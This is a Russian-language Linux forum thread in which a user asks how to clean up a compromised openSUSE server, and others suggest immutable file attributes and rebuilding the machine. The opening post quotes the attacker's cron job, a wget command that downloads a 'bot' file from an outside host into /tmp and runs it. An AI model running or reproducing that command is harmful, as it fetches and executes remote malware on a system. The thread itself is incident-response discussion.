Удалить последствия взлома. (wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -r)

Обсуждение настройки и работы сервисов, резервирования, сетевых настроек и вопросов безопасности ОС.

Модераторы: SLEDopit, Модераторы разделов

Аватара пользователя
Voler
Сообщения: 498
ОС: Fedora

Удалить последствия взлома.

Сообщение Voler »

Добрый день.

wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1
Повесили в крон.

Как удалить задание?

При правке выдавать стал вот такое сообщение
crontab: installing new crontab
crontab: error renaming /var/spool/cron/tabs/srv.tmp.XXXXRZ8JCE to /var/spool/cron/tabs/root
rename: Operation not permitted
crontab: edits left in /tmp/crontab.MB74Un

Сам ресурс пока не работает на скачку.

Помогите решить казус.

Инфа об ОС
openSUSE-12.2

Пакет cronie Version: 1.4.8-37.9.1

Переустановка пакетов не помогла.
Спасибо сказали:
Аватара пользователя
Voler
Сообщения: 498
ОС: Fedora

Re: Удалить последствия взлома.

Сообщение Voler »

Нашнл решение тут
http://security.stackexchange.com/question...ow-does-it-work

Переустановил пакет aptitude reinstall e2fsprogs
Исправил подгаженные вещи.

Теперь буду менять серверак, т.к. мало ли еще где что подвесили.
Спасибо сказали:
pelmen
Сообщения: 1268
ОС: debian

Re: Удалить последствия взлома.

Сообщение pelmen »

Ссылка стала доступна. Ваш сервер мог выполнять какие-либо процедуры с биткойном
Спасибо сказали:
Аватара пользователя
drBatty
Сообщения: 8735
Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
ОС: Slackware-current

Re: Удалить последствия взлома.

Сообщение drBatty »

Voler писал(а):
27.11.2014 07:57
rename: Operation not permitted

наверное атрибут +i был поставлен(man ls attr).
Voler писал(а):
27.11.2014 09:36
Теперь буду менять серверак, т.к. мало ли еще где что подвесили.

ага.
http://emulek.blogspot.ru/ Windows Must Die
Учебник по sed зеркало в github

Скоро придёт
Осень
Спасибо сказали:
Аватара пользователя
Voler
Сообщения: 498
ОС: Fedora

Re: Удалить последствия взлома.

Сообщение Voler »

Решил проблему.
Спасибо
Спасибо сказали: